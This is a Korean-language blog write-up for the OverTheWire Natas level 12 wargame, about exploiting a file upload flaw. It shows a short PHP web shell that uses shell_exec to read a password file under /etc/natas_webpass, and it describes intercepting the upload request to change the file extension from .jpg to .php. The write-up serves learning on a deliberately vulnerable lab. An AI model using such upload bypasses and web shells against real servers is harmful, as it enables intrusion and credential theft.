Username: natas12
URL: http://natas12.natas.labs.overthewire.org
접속했을 때 화면:

소스코드를 보면,

파일 업로드 취약점에 대한 문제이다.
업로드한 파일의 이름과 경로를 랜덤으로 지정하고, 파일의 크기가 1KB를 넘지 않으면 그 임의의 경로로 저장하되 확장자를 .jpg로 바꾸고 있다.
natas의 모든 패스워드는 /etc/natas_webpass 안에 있다고 했으니,
/etc/natas_webpass/natas13의 패스워드를 읽어올 php파일을 업로드하면 된다.
따라서 다음과 같은 간단한 php 파일을 만들고,
<?php
$pass = shell_exec('cat /etc/natas_webpass/natas13');
echo "$pass";
?>
업로드할 때 요청을 인터셉트한다.

인터셉트한 요청에서 파일 확장자만 .php로 바꿔서 보내면,

php파일이 업로드된다.

업로드된 파일경로에 들어가면 패스워드를 읽어온다.

'Wargame > natas' 카테고리의 다른 글
Natas Level 14 풀이 (0) | 2023.07.30 |
---|---|
Natas Level 13 풀이 (0) | 2023.07.22 |
Natas Level 11 풀이 (0) | 2023.07.07 |
Natas Level 10 풀이 (0) | 2023.05.09 |
Natas Level 9 풀이 (0) | 2023.05.04 |